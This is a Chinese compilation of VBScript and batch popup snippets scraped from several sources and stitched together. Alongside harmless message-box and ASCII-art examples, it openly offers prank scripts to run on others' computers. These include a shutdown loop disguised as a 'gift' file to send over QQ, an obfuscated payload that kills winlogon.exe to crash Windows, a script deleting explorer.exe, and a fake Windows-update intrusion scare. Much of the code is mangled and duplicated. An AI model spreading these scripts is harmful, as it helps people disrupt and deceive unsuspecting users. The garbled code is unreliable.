vbs弹框代码

好玩的VBScript代码VBScript（Visual Basic Scripting Edition）是一种基于VB语言的脚本语言，它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。

VBScript 是一种通用的脚本语言，可以用来实现各种有趣的功能。

在本文中，我们将介绍一些好玩的VBScript代码，展示其强大的功能和娱乐价值。

1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。

该代码将在电脑屏幕上创建一个随机移动的图形，并发出奇怪的声音。

Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码，将在桌面上创建一个随机移动的图形，并且屏幕上会突然发出吓人的声音。

这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。

2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。

VBS显⽰“选择⽂件或⽂件夹”对话框的代码嗨，Scripting Guy！有没有什么⽅法可以让我使⽤脚本向⽤户显⽰⼀个对话框，供⽤户选择⽂件使⽤？您好。

｜ 如果您使⽤的是 Windows 2000，我们不知道实现此操作的⽅法，⾄少操作系统中没有内置这样的⽅法。

但如果您使⽤的是 Windows XP，情况就不同了。

在 Windows XP 上，您可以使⽤"” 对象向⽤户显⽰⼀个标准的“⽂件打开”对话框。

可以⽤类似以下代码的脚本：复制代码代码如下:Set objDialog = CreateObject("monDialog")objDialog.Filter = "All Files|*.*"objDialog.InitialDir = "C:\"intResult = objDialog.ShowOpenIf intResult = 0 ThenWscript.QuitElseWscript.Echo objDialog.FileNameEnd If这是⼀个⼩脚本，所以让我们逐⾏进⾏解释吧：1）我们⾸先创建⼀个对 monDialog 对象的对象引⽤（名为“objDialog”）。

2）接着，我们设置对话框的“筛选”属性。

我们要显⽰所有⽂件，所以我们将筛选设置成这样：objDialog.Filter = "All Files|*.*"假如我们只想显⽰⽂本⽂件，那该怎么办？在这种情况下，我们将使⽤以下筛选：objDialog.Filter = "Text Files|*.txt"您也许能够看出它是如何运⾏的：我们为⽂件类型提供说明 (Text Files)，然后插⼊⼀个竖线分隔符 (|)，最后使⽤标准的通配符来指⽰所有 .txt ⽂件 (*.txt)。

是不是想默认显⽰ .txt ⽂件，然后为⽤户提供查看所有⽂件的选项？那么可以使⽤以下代码：objDialog.Filter = "Text Files|*.txt|All Files|*.*"试⼀试，您就明⽩我们的意思了。

VBS编程必背50个程序什么是VBS编程？VBS，全称为Visual Basic Scripting，是一种被广泛应用于Windows系统的脚本语言。

它基于Visual Basic，但语法更加简单且易于学习和使用。

VBS可以用于编写脚本文件，实现各种任务，如自动化任务、系统管理以及图形用户界面等。

为什么要掌握VBS编程？VBS编程是一种非常有用的技能，特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。

掌握VBS编程可以帮助你提高工作效率，简化重复的任务，并增加系统管理和故障排除的能力。

下面是50个VBS编程的示例程序：1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框，显示“Hello World!”。

2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为：" & result这个程序会要求你输入两个数字，然后将它们相加并显示结果。

3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件，并依次弹出每个文件名。

4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件，并在其中写入“Hello World!”。

VBS脚本常用经典代码收集于 2011年7月2日21:13:37 整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS播放音乐Dim wmpSet wmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"Do Until wmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Set shell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0While InputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径computer="."Const hkcu=&h80000001Set wmi=GetObject("winmgmts:\\"&computer&"\root\default:stdregprov") wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spathwmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Set wmi=NothingSet fso=CreateObject("scripting.filesystemobject")Set fs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copy fso.GetParentFolderName(Spath)&"\",True=backnameSet fso=NothingSet ws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"Set ws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。

脚本开发教程分享：用按键精灵编写能俘获女神的弹出窗口命令作者 & 编辑：按键学院【按键精灵】你是不是对千篇一律的弹出窗口内容感到厌倦了呢？那么现在就跟我一起来打造令人耳目一新的弹出窗口吧，从此你的脚本弹出窗口将会丰富多彩，与众不同。

首先要记住一个命令“vbcr”，这个是VB的回车符。

或者“vbcrlf”(回车换行符) ，这样就能起到一个换行的作用。

接下来就比较简单了，可以在网上搜索各种各样的图案(例如QQ宝典)，开始编辑你的个性窗口吧，GO~下面发几个我做好的几个弹出窗口，仅供参考。

===美美的代码段===鲜花(1):MessageBox(" .--. .--."&vbcr&" ._' |/ :.-,"&vbcr&" | `'.-;-.;` ."&vbcr&" _:._/.'.'.'\.`-."&vbcr&"/ \.'.'.'/ /"&vbcr&"'-._.;`'-'-';---' , />"&vbcr&" / /| \'-. \\/("&vbcr &" `--' `-.-' `\|_.-'"&vbcr&" `\")===调试结果===咳咳，其他它长得挺像鲜花的。

这个命令里面用到了哪些知识呢？===知识应用===>>>MessageBox命令：弹出对话框。

命令功能弹出一个窗口命令参数参数1 字符串型，提示内容文字>>>vbcr命令：vbcrlf命令回车(carriage return)+换行(line feed)vbcr命令回车还有好多美美的酷酷的弹出窗口~~~表白，生日，烛光，动物，交通工具，祝福……各式各样，总有一种能让女神膜拜你的浪漫~鲜花(2):MessageBox(" _(_)_ wWWWw"&vbcr&" @@@@ vVVVv _ @@@@ (___)"&vbcr&" @@()@@ wWWWw (_)\ (___) _(_)_ @@()@@ Y"&vbcr&" @@@@ (___) `|/ Y (_)@(_) @@@@ \|/"&vbcr&" / Y \| /(_) \| |/"&vbcr&"\ | \ |/ | /\ | / \|/ |/ \|"&vbcr&" |/// \\|/// \\\\|//\\|///\|/// \\\|// \\|//"&vbcr&"^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^")--------------------------------------------------------------------------------------------------------------------------------- 新年快乐:MessageBox("┬┴┬┌─●─┬─│─┼─┐●├─┤○"&vbcr&"┴┬┴├┬┌─┼─│◎││○└┬┘●"&vbcr&"─┼─││││││─┴─┴──┼──"&vbcr&"●│○││┴─┼─│○●／│＼")---------------------------------------------------------------------------------------------------------------------------------爱你一万年:MessageBox("/~ .~\/~~\/~ .~\/~~\"&vbcr&" '`\/'*'`\/' *"&vbcr&"(MY LOEV TO YOU.*)(. *)"&vbcr&" \爱你.*./ \ 一万年. *./"&vbcr&" `\ .. .*/' `\ .. .*/'"&vbcr&" `\ * .*. */' __ `\ * .*. */'"&vbcr&"`\ * */' ( `\/'*)`\ * */'"&vbcr&"`\/'\*/'`\/'"&vbcr&"`\/'")--------------------------------------------------------------------------------------------------------------------------------- 生日快乐:MessageBox(" iiiiiiiiiiiiiiiiiii"&vbcr&" |||||||H|A|P|P|Y|||||||"&vbcr&" __|_____________________|__"&vbcr&"|\/\/\/\/\/\/\/\/\\/\/\/\/\/|"&vbcr&"|||||||B|I|R|T|H|D|A|Y|||||||"&vbcr&"|,, ,,,,,,,,,,,,,,,,,,,,,,,,,|"&vbcr&"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"&vbcr&vbc r&" 生日快乐")--------------------------------------------------------------------------------------------------------------------------------- 房子:MessageBox("*/. . . * ."&vbcr&" .\* . [] * __"&vbcr&" */ . ./\~~~~~~~~~~~~'\. |◆"&vbcr&" \* ,/,..,\,...........,\.◆"&vbcr&" || ..▎# ▎田田▎| ▎◆"&vbcr&" || &&▎▎▎'|'▎ o"&vbcr&" || ##■■■■■■■■■■〓")--------------------------------------------------------------------------------------------------------------------------------- 狼：MessageBox(" .-'''''-."&vbcr&" .' `."&vbcr&" : :"&vbcr&" : :"&vbcr&" : _/| :"&vbcr&" : =/_/ :"&vbcr&" `._/ | :"&vbcr&" ( / ,|.... `"&vbcr&" \_/^\/||__"&vbcr&" _/~ `"&"~`"&"` \_"&vbcr&" __/ -'/ `-._ `\_\__"&vbcr&"/ /-'` `\ \ \-.\")--------------------------------------------------------------------------------------------------------------------------------- 鹰:MessageBox("*/. . . * ."&vbcr&" .\* . [] * __"&vbcr&" */ . ./\~~~~~~~~~~~~'\. |◆"&vbcr&" \* ,/,..,\,...........,\.◆"&vbcr&" || ..▎# ▎田田▎| ▎◆"&vbcr&" || &&▎▎▎'|'▎o"&vbcr&" || ##■■■■■■■■■■〓")--------------------------------------------------------------------------------------------------------------------------------- 猪头:MessageBox(" __"&vbcr&" ',_`""\ .---,"&vbcr&" \ :-""``/` |"&vbcr&" `;' //`\ /"&vbcr&" / __ | ('."&vbcr&" |_ ./O)\ \ `)_-."&vbcr&".-=; ` / `-."&vbcr&"/o o\ ,_, . '"&vbcr&"L._._;_.-' ."&vbcr&" `'-.` '"&vbcr&" `. '"&vbcr&" '-._. -'")--------------------------------------------------------------------------------------------------------------------------------- 烛光：MessageBox(" * , *"&vbcr&" '"&vbcr&" / \"&vbcr&" * ` ' *"&vbcr&" ' '"&vbcr&" * \`/ * *"&vbcr&" |"&vbcr&"* * mmmmm * *"&vbcr&" * |, | *"&vbcr&" | , |"&vbcr&" * |, | *"&vbcr&" * | | * *"&vbcr&" | |"&vbcr&" * | | **"&vbcr&" ** | | **"&vbcr&" * | | * *")--------------------------------------------------------------------------------------------------------------------------------- 一只鱼:MessageBox("一只鱼"&vbcr&vbcr&"o , __"&vbcr&" o \`\\"&"."&vbcr&" / _ |||;._//)"&vbcr&"o_/@ @ /// |=("&vbcr&"( (`__, ,`\|"&vbcr&" '.\_/ |\_.'"&vbcr&" `""```")--------------------------------------------------------------------------------------------------------------------------------- 汽车:MessageBox(" ╭══╮"&vbcr&"╭╯□□║"&vbcr&"╰⊙═⊙╯oо○〇")--------------------------------------------------------------------------------------------------------------------------------- 按键精灵:MessageBox("﹒- ╭⌒╮"&vbcr&"╭⌒╮ˋ●′︸﹊︸╭⌒╮"&vbcr&"﹊︸﹊ˊ丶ˋ﹊︸﹊"&vbcr&" ┏───────────┓"&vbcr&" │按键精灵│"&vbcr&" "&vbcr&" ︸︸")--------------------------------------------------------------------------------------------------------------------------------- 很有趣吧~~~~还等什么赶紧动手打造属于你自己的个性窗口吧~。

【1、最基本的弹出窗口代码】其实代码非常简单：<script LANGUAGE="javascript"><!--window.open ("page.html")--></script>因为着是一段javascripts代码，所以它们应该放在<script LANGUAGE="javascript">标签和</script>之间。

<!-- 和-->是对一些版本低的浏览器起作用，在这些老浏览器中不会将标签中的代码作为文本显示出来。

要养成这个好习惯啊。

window.open ("page.html") 用于控制弹出新的窗口page.html，如果page.html不与主窗口在同一路径下，前面应写明路径，绝对路径(http://)和相对路径(../)均可。

用单引号和双引号都可以，只是不要混用。

这一段代码可以加入HTML的任意位置，<head>和</head>之间可以，<body>间</body>也可以，越前越早执行，尤其是页面代码长，又想使页面早点弹出就尽量往前放。

【2、经过设置后的弹出窗口】下面再说一说弹出窗口的设置。

只要再往上面的代码中加一点东西就可以了。

我们来定制这个弹出的窗口的外观，尺寸大小，弹出的位置以适应该页面的具体情况。

<script LANGUAGE="javascript"><!--window.open ("page.html", "newwindow","height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no")//写成一行--></script>参数解释：<script LANGUAGE="javascript"> js脚本开始；window.open 弹出新窗口的命令；"page.html" 弹出窗口的文件名；"newwindow" 弹出窗口的名字（不是文件名），非必须，可用空""代替；height=100 窗口高度；width=400 窗口宽度；top=0 窗口距离屏幕上方的象素值；left=0 窗口距离屏幕左侧的象素值；toolbar=no 是否显示工具栏，yes为显示；menubar，scrollbars 表示菜单栏和滚动栏。

⼀些很恶作剧的vbs程序代码操作⽅法：把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的，⼀般都是利⽤⽆限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。

复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。

"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了！！"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么，不过加密了，⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗？",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚，蓝屏⼀下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe，导致桌⾯没有显⽰，不过它事先帮你备份了，为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功，enjoy the best!"exit doelsemsgbox"密码验证失败，请输⼊解除关机密码：403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57ws.popup"(\(^o^)/~ 好啦，跟你开了个⼩⼩玩笑。

/share/detail/24555431start mshta vbscript:msgbox("已经卸载完成",0,"GHOST卸载程序")(window.close)批处理弹窗气泡提示大全一、利用系统自带的msg命令@echo offtitle 批处理弹窗msg %username% /time:10 "Aionegirl"exit需要启动TermService服务二、利用系统自带的net命令net send %computername% "Aionegirl" >nul需要启动Messenger服务三、利用系统自带的mshta程序1、利用vbsript的msgbox函数mshta vbscript:msgbox("Aionegirl",64,"batch script")(window.close)2、利用vbscript的popup方法mshta vbscript:CreateObject("Wscript.Shell").popup("Aionegirl",7,"batch script",64)(window.close)3、利用javascript的alert方法mshta javascript:window.alert("Aionegirl");window.close()4、利用javascript的popup方法mshta "javascript:new ActiveXObject('WScript.Shell').popup('Aionegirl',7,'batchscript',64);window.close();"5、利用javascript的confirm方法mshta javascript:confirm("Aionegirl");window.close()msgbox函数范例1：@echo offecho intAnswer=Msgbox(" 恭喜!" ^& vbNewLine ^& "" ^& vbNewLine ^& " 安装完毕。

代码大全VBS格式vbs格式代码第一个domsgbox "hi"loop第二个Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop第三个if MsgBox("对不起,您灌水太多需要重新启动计算机。

"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将立刻重起wow ~_^",,"你上当了！！"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if第四个'这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,1 3,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,11 5,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119 ,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,10 8,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,4 6,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45, 99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,11 0,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner第五个if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if第六个Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0第七个set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"第八个Set ws=WScript.CreateObject("WScript.Shell")ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64wscript.sleep 100000ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10ws.popup"正在下载windows更新……",12wscript.sleep 10000ws.popup"windows更新已下载完毕，正在安装更新……",12wscript.sleep 3000msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformationmsgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"msgbox"阻止失败，请检查防火墙是否开启"wscript.sleep 15000ws.popup"windows更新安装成功！",vbinfmation,20msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformationws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run"/doc/8ac10e7a168884868762d6d9.html /403746401/infocenter"msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformationws.popup"我再打开中国神泣官方网站",10ws.run"/doc/8ac10e7a168884868762d6d9.html/index.htm"ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。

可以说，对WMI的掌握程度的多少直接决定了你的VBS水平高低。

看过网上普遍流传VBS版U盘小偷程序，基本上都是靠无限循环实现的，一点技术含量也没有，文章的末尾给出了我写的VBS版U盘小偷程序的下载地址。

虽然用WMI也得无限循环，但是效率是不一样的。

使用WMI的Win32_V olumeChangeEvent类就可以实现，下面是示例代码，更详细的信息请参考MSND文档。

代码如下:Const Configuration_Changed = 1Const Device_Arrival = 2Const Device_Removal = 3Const Docking = 4strComputer = "."Set objWMIService = GetObject("winmgmts:" _&amp; "{impersonationLevel=impersonate}!\\" _&amp; strComputer &amp; "\root\cimv2")Set colMonitoredEvents = objWMIService. _ExecNotificationQuery( _"Select * from Win32_VolumeChangeEvent")DoSet objLatestEvent = colMonitoredEvents.NextEventSelect Case objLatestEvent.EventTypeCase Device_ArrivalWScript.Echo "U盘插入，盘符为" &amp; _objLatestEvent.DriveNameCase Device_RemovalWScript.Echo "U盘弹出，盘符为" &amp; _objLatestEvent.DriveNameEnd SelectLoop我也写了一个U盘小偷程序，自以为比网上抄来抄去的代码要好，感兴趣的可以下载来看看。